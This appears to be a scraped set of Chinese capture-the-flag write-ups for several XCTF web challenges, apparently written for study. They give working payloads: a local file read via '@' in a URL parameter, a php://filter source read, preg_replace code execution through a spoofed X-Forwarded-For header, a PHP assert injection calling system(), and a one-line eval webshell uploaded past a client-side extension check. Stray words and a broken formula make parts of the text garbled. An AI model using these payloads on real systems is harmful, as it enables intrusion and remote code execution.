- 难度系数 1.0
- 题目来源:
XCTF 4th-WHCTF-2017
- 题目描述: 抓住那只猫
- 题目场景: http://111.198.29.45:43180/ 具体参见攻防世界
- 题目附件:无
经过尝试应该能够发现,URL后面加:javascript
- 正常url, 好像没什么反应,(查看官方writeup,说返回ping结果)
- 非法URL(特殊符号),返回
Invalid URL
- URL编码超过%80,返回Django报错
3. 队报错代码进行代码审计,能够获得有关数据库的相关信息,得到数据库径/opt/api/database.sqlite3
4. 使用@+文件名来读取本地文件,构造payload:php
http://111.198.29.45:43180/index.php?url=@/opt/api/database.sqlite3
ctf
获得flag, AWHCTF{yoooo_Such_A_G00D_@}
官方用curl
构造payloadcss
curl 'http://111.198.29.45:43180/index.php?url=@/opt/api/database.sqlite3' | xxd | grep -A 5 -B 5 WHCTF
- 难度系数 1.0
- 题目来源:
XCTF 4th-CyberEarth
- 题目描述: 其余破坏者会利用工控云管理系统设备维护中心的后门入侵系统
- 题目场景: http://111.198.29.45:43227/ 具体参见攻防世界
- 题目附件:无
2. 再点击云平台设备维护中心
, 发现地址栏url变了,而且页面中出现index字样
3. 想到能够,利用php://filter
伪协议读取页面源码html
http://111.198.29.45:31639/index.php?page=php://filter/convert.base64-encode/resource=index.php
base64解码后,进行代码审计获取到有用信息java
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试 if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } }
preg_replace:(PHP 5.5)python
功能 : 函数执行一个正则表达式的搜索和替换git
定义 : mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int KaTeX parse error: Expected 'EOF', got '&' at position 19: …it = -1 [, int &̲count ]] )web
搜索 subject 中匹配 pattern 的部分, 若是匹配成功以 replacement 进行替换正则表达式
pattern 和 $subject匹配, preg_replace会将 $replacement当作代码来执行
6.打开burpsuit,构造payload,尝试获取文件目录
7. 看到s3chahahaDir
很可疑,进去看看
*注意+
表明空格,%26%26为&&
的url编码,表示执行完cd s3chahahaDir
后,接着执行ls
8. 发现flag目录,接着进去瞧瞧
9. 发现flag.php, 用cat 命令读取,发现flag
sql
- 难度系数 1.0
- 题目来源: **csaw-ctf-2016-quals **
- 题目描述: 无
- 题目场景: http://111.198.29.45:40481/ 具体参见攻防世界
- 题目附件:无
<div id="navbar" class="collapse navbar-collapse"> <ul class="nav navbar-nav"> <li class="active"><a href="?page=home">Home</a></li> <li ><a href="?page=about">About</a></li> <li ><a href="?page=contact">Contact</a></li> <!--<li ><a href="?page=flag">My secrets</a></li> --> </ul> </div>
http://111.198.29.45:40481/?page=flag
访问并无什么发现dirsearch
扫一下后台,发现git目录python3 dirsearch.py -u http://111.198.29.45:40481/ -e php
4. GitHack 将源码下载下来, 对index.php
进行代码审计(其余页面都看了,没有什么发现)
python27 GitHack.py http://111.198.29.45:40481/.git/
index.php
<?php if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; // I heard '..' is dangerous! assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // TODO: Make this look nice assert("file_exists('$file')") or die("That file doesn't exist!"); ?>
file
变量动点手脚,由于并无函数对file
进行过滤,而file
变量主要有传入的page
变量构成,因此构造payload?page=abc') or system("cat templates/flag.php");//
完整的页面访问路径为:
http://111.198.29.45:40481/?page=abc') or system("cat templates/flag.php");//
6. 执行以后查看,页面源码,获得flag
- 难度系数 1.0
- 题目来源:
- 题目描述: 无
- 题目场景: http://111.198.29.45:42110 具体参见攻防世界
- 题目附件:无
<script type="text/javascript"> Array.prototype.contains = function (obj) { var i = this.length; while (i--) { if (this[i] === obj) { return true; } } return false; } function check(){ upfile = document.getElementById("upfile"); submit = document.getElementById("submit"); name = upfile.value; ext = name.replace(/^.+\./,''); if(['jpg','png'].contains(ext)){ submit.disabled = false; }else{ submit.disabled = true; alert('请选择一张图片文件上传!'); } } </script>
1.jpg
, 内容为php一句话<?php @eval($_POST['cmd']);?>
1.php